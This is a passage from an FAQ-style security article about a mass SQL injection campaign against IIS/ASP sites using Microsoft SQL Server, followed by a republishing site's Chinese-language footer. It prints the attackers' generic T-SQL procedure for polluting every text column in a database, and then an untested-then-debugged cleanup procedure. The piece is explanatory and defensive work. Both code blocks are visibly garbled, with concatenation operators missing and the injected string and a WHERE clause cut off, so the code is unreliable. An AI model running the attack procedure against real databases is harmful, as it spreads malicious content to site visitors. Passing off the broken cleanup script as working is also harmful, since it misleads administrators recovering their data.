| The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?
Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors. That said, the attackers are targeting IIS web servers which run ASP for a reason. Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts: DECLARE @T varchar(255), @C varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' @T '] set [' @C '] = rtrim(convert(varchar,[' @C '])) ''''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C; END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor; This is the “secret sauce” which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology — but it’s a feature, not a bug (no irony intended this time). Anyway, the chances for such “powerful” DB technology of being used in conjunction with web servers different than IIS are very low. So, to recap: There’s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well. SQL injections, and therefore these infections, are caused by poor coding practices during web site development. Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment. In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn’t really grow enough security awareness to develop safe internet-facing applications. What should I do if I’m the administrator of an infected site? First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs. In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixing the code (learn from the United Nations tale). If you’ve got no clean database backup, you could try to recover by brutally reversing the SQL attack: DECLARE @T varchar(255), @C varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' @T '] set [' @C '] = left( convert(varchar(8000), [' @C ']), len(convert(varchar(8000), [' @C '])) - 6 - patindex(''%tpircs<%'', reverse(convert(varchar(8000), [' @C ']))) ) where [' @C '] like ''% ); FETCH NEXT FROM Table_Cursor INTO @T, @C; END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor; This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with EXEC( 'update [' @T '] set [' @C '] = rtrim(convert(varchar,[' @C '])) ''''' ); it locates and removes it with EXEC( 'update [' @T '] set [' @C '] = left( convert(varchar(8000), [' @C ']), len(convert(varchar(8000), [' @C '])) - 6 - patindex(''%tpircs<%'', reverse(convert(varchar(8000), [' @C ']))) ) where [' @C '] like ''% ); Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data. Update: now it’s debugged and “tested” (i.e. it works) on SQL Server 2005 (thanks Scott), but the “use it at your own risk” disclaimer still applies. |
免責(zé)聲明：本站部分文章和圖片均來自用戶投稿和網(wǎng)絡(luò)收集，旨在傳播知識(shí)，文章和圖片版權(quán)歸原作者及原出處所有，僅供學(xué)習(xí)與參考，請(qǐng)勿用于商業(yè)用途，如果損害了您的權(quán)利，請(qǐng)聯(lián)系我們及時(shí)修正或刪除。謝謝！
始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域，為您提供最新最全的互聯(lián)網(wǎng)資訊，幫助站長轉(zhuǎn)型升級(jí)，為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務(wù)，與站長一起進(jìn)步！讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨(dú)！
掃一掃，關(guān)注站長網(wǎng)微信
大家都在看
